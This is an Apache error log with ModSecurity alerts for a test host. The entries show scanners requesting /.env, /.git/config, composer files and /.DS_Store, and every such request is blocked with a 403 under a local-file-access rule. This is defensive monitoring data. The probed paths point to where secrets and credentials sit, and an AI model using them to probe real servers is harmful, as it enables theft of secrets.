[Wed Feb 18 03:06:19.384686 2026] [:error] [pid 2161192] [client 46.191.138.29:50660] [client 46.191.138.29] ModSecurity: Warning. Matched phrase &quot;/composer.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aZUem1AwHIXdOR_IjqGmmQAAAAI&quot;]
[Wed Feb 18 03:06:19.386078 2026] [:error] [pid 2161192] [client 46.191.138.29:50660] [client 46.191.138.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aZUem1AwHIXdOR_IjqGmmQAAAAI&quot;]
[Wed Feb 18 03:06:19.386283 2026] [:error] [pid 2161192] [client 46.191.138.29:50660] [client 46.191.138.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aZUem1AwHIXdOR_IjqGmmQAAAAI&quot;]
[Wed Feb 18 03:06:19.596802 2026] [:error] [pid 2161191] [client 46.191.138.29:43477] [client 46.191.138.29] ModSecurity: Warning. Matched phrase &quot;/composer.lock&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.lock found within REQUEST_FILENAME: /composer.lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aZUem3PppL83WAI9ZsBN6gAAAAE&quot;]
[Wed Feb 18 03:06:19.597095 2026] [:error] [pid 2161191] [client 46.191.138.29:43477] [client 46.191.138.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aZUem3PppL83WAI9ZsBN6gAAAAE&quot;]
[Wed Feb 18 03:06:19.597287 2026] [:error] [pid 2161191] [client 46.191.138.29:43477] [client 46.191.138.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aZUem3PppL83WAI9ZsBN6gAAAAE&quot;]
[Wed Feb 18 03:06:19.810585 2026] [:error] [pid 2161193] [client 46.191.138.29:9638] [client 46.191.138.29] ModSecurity: Warning. Matched phrase &quot;/composer.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.json found within REQUEST_FILENAME: /.composer/composer.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.composer/composer.json&quot;] [unique_id &quot;aZUem3wnAvNqo1HuYE-8PQAAAAM&quot;]
[Wed Feb 18 03:06:19.810890 2026] [:error] [pid 2161193] [client 46.191.138.29:9638] [client 46.191.138.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.composer/composer.json&quot;] [unique_id &quot;aZUem3wnAvNqo1HuYE-8PQAAAAM&quot;]
[Wed Feb 18 03:06:19.811062 2026] [:error] [pid 2161193] [client 46.191.138.29:9638] [client 46.191.138.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.composer/composer.json&quot;] [unique_id &quot;aZUem3wnAvNqo1HuYE-8PQAAAAM&quot;]
[Wed Feb 18 07:03:04.518156 2026] [:error] [pid 2161842] [client 64.247.196.28:55664] [client 64.247.196.28] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZVWGB7i3MGSJhlZ2JDgLgAAAAY&quot;]
[Wed Feb 18 07:03:04.518524 2026] [:error] [pid 2161842] [client 64.247.196.28:55664] [client 64.247.196.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZVWGB7i3MGSJhlZ2JDgLgAAAAY&quot;]
[Wed Feb 18 07:03:04.518700 2026] [:error] [pid 2161842] [client 64.247.196.28:55664] [client 64.247.196.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZVWGB7i3MGSJhlZ2JDgLgAAAAY&quot;]
[Fri Feb 20 07:24:45.178038 2026] [:error] [pid 2204540] [client 185.93.89.110:37804] [client 185.93.89.110] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZf-LWx0WZhaoaD6IBCxGQAAAAA&quot;]
[Fri Feb 20 07:24:45.179362 2026] [:error] [pid 2204540] [client 185.93.89.110:37804] [client 185.93.89.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZf-LWx0WZhaoaD6IBCxGQAAAAA&quot;]
[Fri Feb 20 07:24:45.179591 2026] [:error] [pid 2204540] [client 185.93.89.110:37804] [client 185.93.89.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZf-LWx0WZhaoaD6IBCxGQAAAAA&quot;]
[Sun Feb 22 04:48:04.488040 2026] [:error] [pid 2247826] [client 216.81.248.168:46286] [client 216.81.248.168] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZp8dPWFbfYPZnhshDB06gAAAAI&quot;]
[Sun Feb 22 04:48:04.489175 2026] [:error] [pid 2247826] [client 216.81.248.168:46286] [client 216.81.248.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZp8dPWFbfYPZnhshDB06gAAAAI&quot;]
[Sun Feb 22 04:48:04.489399 2026] [:error] [pid 2247826] [client 216.81.248.168:46286] [client 216.81.248.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZp8dPWFbfYPZnhshDB06gAAAAI&quot;]
[Mon Feb 23 04:42:38.679764 2026] [:error] [pid 2269803] [client 204.76.203.25:49354] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZvMrsvBROqgGtrfwoaTFAAAAAU&quot;]
[Mon Feb 23 04:42:38.680052 2026] [:error] [pid 2269803] [client 204.76.203.25:49354] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZvMrsvBROqgGtrfwoaTFAAAAAU&quot;]
[Mon Feb 23 04:42:38.680227 2026] [:error] [pid 2269803] [client 204.76.203.25:49354] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZvMrsvBROqgGtrfwoaTFAAAAAU&quot;]
[Tue Feb 24 11:13:32.776324 2026] [authz_core:error] [pid 2297908] [client 165.22.34.189:34358] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Tue Feb 24 11:13:36.782880 2026] [:error] [pid 2297906] [client 165.22.34.189:34406] [client 165.22.34.189] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aZ150IIgpCBndRZSB14IIQAAAAI&quot;]
[Tue Feb 24 11:13:36.783106 2026] [:error] [pid 2297906] [client 165.22.34.189:34406] [client 165.22.34.189] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aZ150IIgpCBndRZSB14IIQAAAAI&quot;]
[Tue Feb 24 11:13:36.783269 2026] [:error] [pid 2297906] [client 165.22.34.189:34406] [client 165.22.34.189] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aZ150IIgpCBndRZSB14IIQAAAAI&quot;]
[Tue Feb 24 11:13:37.786574 2026] [:error] [pid 2297937] [client 165.22.34.189:34416] [client 165.22.34.189] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ150QV-gKqTl1hyyMHKqAAAAAY&quot;]
[Tue Feb 24 11:13:37.786876 2026] [:error] [pid 2297937] [client 165.22.34.189:34416] [client 165.22.34.189] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ150QV-gKqTl1hyyMHKqAAAAAY&quot;]
[Tue Feb 24 11:13:37.787092 2026] [:error] [pid 2297937] [client 165.22.34.189:34416] [client 165.22.34.189] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ150QV-gKqTl1hyyMHKqAAAAAY&quot;]
[Tue Feb 24 11:13:41.783781 2026] [:error] [pid 2297908] [client 165.22.34.189:51016] [client 165.22.34.189] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ151QkMijnMCcBtn74CbAAAAAQ&quot;]
[Tue Feb 24 11:13:41.784053 2026] [:error] [pid 2297908] [client 165.22.34.189:51016] [client 165.22.34.189] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ151QkMijnMCcBtn74CbAAAAAQ&quot;]
[Tue Feb 24 11:13:41.784241 2026] [:error] [pid 2297908] [client 165.22.34.189:51016] [client 165.22.34.189] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ151QkMijnMCcBtn74CbAAAAAQ&quot;]
[Tue Feb 24 11:13:55.369072 2026] [:error] [pid 2297937] [client 153.33.99.34:49350] [client 153.33.99.34] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ154wV-gKqTl1hyyMHKsgAAAAY&quot;]
[Tue Feb 24 11:13:55.369384 2026] [:error] [pid 2297937] [client 153.33.99.34:49350] [client 153.33.99.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ154wV-gKqTl1hyyMHKsgAAAAY&quot;]
[Tue Feb 24 11:13:55.369579 2026] [:error] [pid 2297937] [client 153.33.99.34:49350] [client 153.33.99.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ154wV-gKqTl1hyyMHKsgAAAAY&quot;]
